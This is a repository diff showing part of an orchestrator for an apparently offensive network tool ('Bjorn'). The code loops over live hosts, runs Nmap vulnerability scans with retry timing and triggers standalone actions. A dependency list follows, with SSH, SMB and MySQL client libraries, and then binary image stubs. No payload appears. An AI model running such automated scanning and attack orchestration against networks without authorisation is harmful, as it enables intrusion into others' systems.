self.network_scanner.scan()
# Relire les données mises à jour après le scan
current_data = self.shared_data.read_data()
any_action_executed = self.process_alive_ips(current_data)
if self.shared_data.scan_vuln_running:
current_time = datetime.now()
if current_time >= self.last_vuln_scan_time + timedelta(seconds=self.shared_data.scan_vuln_interval):
try:
logger.info("Starting vulnerability scans...")
for row in current_data:
if row["Alive"] == '1':
ip = row["IPs"]
scan_status = row.get("NmapVulnScanner", "")
# Check success retry delay
if 'success' in scan_status:
last_success_time = datetime.strptime(scan_status.split('_')[1] + "_" + scan_status.split('_')[2], "%Y%m%d_%H%M%S")
if not self.shared_data.retry_success_actions:
logger.warning(f"Skipping vulnerability scan for {ip} because retry on success is disabled.")
continue # Skip if retry on success is disabled
if datetime.now() < last_success_time + timedelta(seconds=self.shared_data.success_retry_delay):
retry_in_seconds = (last_success_time + timedelta(seconds=self.shared_data.success_retry_delay) - datetime.now()).seconds
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
logger.warning(f"Skipping vulnerability scan for {ip} due to success retry delay, retry possible in: {formatted_retry_in}")
# Skip if the retry delay has not passed
continue
# Check failed retry delay
if 'failed' in scan_status:
last_failed_time = datetime.strptime(scan_status.split('_')[1] + "_" + scan_status.split('_')[2], "%Y%m%d_%H%M%S")
if datetime.now() < last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay):
retry_in_seconds = (last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay) - datetime.now()).seconds
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
logger.warning(f"Skipping vulnerability scan for {ip} due to failed retry delay, retry possible in: {formatted_retry_in}")
continue
with self.semaphore:
result = self.nmap_vuln_scanner.execute(ip, row, "NmapVulnScanner")
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
if result == 'success':
row["NmapVulnScanner"] = f'success_{timestamp}'
else:
row["NmapVulnScanner"] = f'failed_{timestamp}'
self.shared_data.write_data(current_data)
self.last_vuln_scan_time = current_time
except Exception as e:
logger.error(f"Error during vulnerability scan: {e}")
else:
logger.warning("No network scanner available.")
self.failed_scans_count += 1
if self.failed_scans_count >= 1:
for action in self.standalone_actions:
with self.semaphore:
if self.execute_standalone_action(action, current_data):
self.failed_scans_count = 0
break
idle_start_time = datetime.now()
idle_end_time = idle_start_time + timedelta(seconds=self.shared_data.scan_interval)
while datetime.now() < idle_end_time:
if self.shared_data.orchestrator_should_exit:
break
remaining_time = (idle_end_time - datetime.now()).seconds
self.shared_data.bjornorch_status = "IDLE"
self.shared_data.bjornstatustext2 = ""
sys.stdout.write('\x1b[1A\x1b[2K')
logger.warning(f"Scanner did not find any new targets. Next scan in: {remaining_time} seconds")
time.sleep(1)
self.failed_scans_count = 0
continue
else:
self.failed_scans_count = 0
action_retry_pending = True
if action_retry_pending:
self.failed_scans_count = 0
if __name__ == "__main__":
orchestrator = Orchestrator()
orchestrator.run()
+15
View File
@@ -0,0 +1,15 @@
RPi.GPIO==0.7.1
spidev==3.5
Pillow==9.4.0
numpy==2.1.3
rich==13.9.4
pandas==2.2.3
netifaces==0.11.0
ping3==4.0.8
get-mac==0.9.2
paramiko==3.5.0
smbprotocol==1.14.0
pysmb==1.2.10
pymysql==1.1.1
sqlalchemy==2.0.36
python-nmap==0.7.1
View File
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 158 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 134 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 446 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 670 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 938 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 670 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 134 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 670 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 950 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 174 B

Some files were not shown because too many files have changed in this diff Show More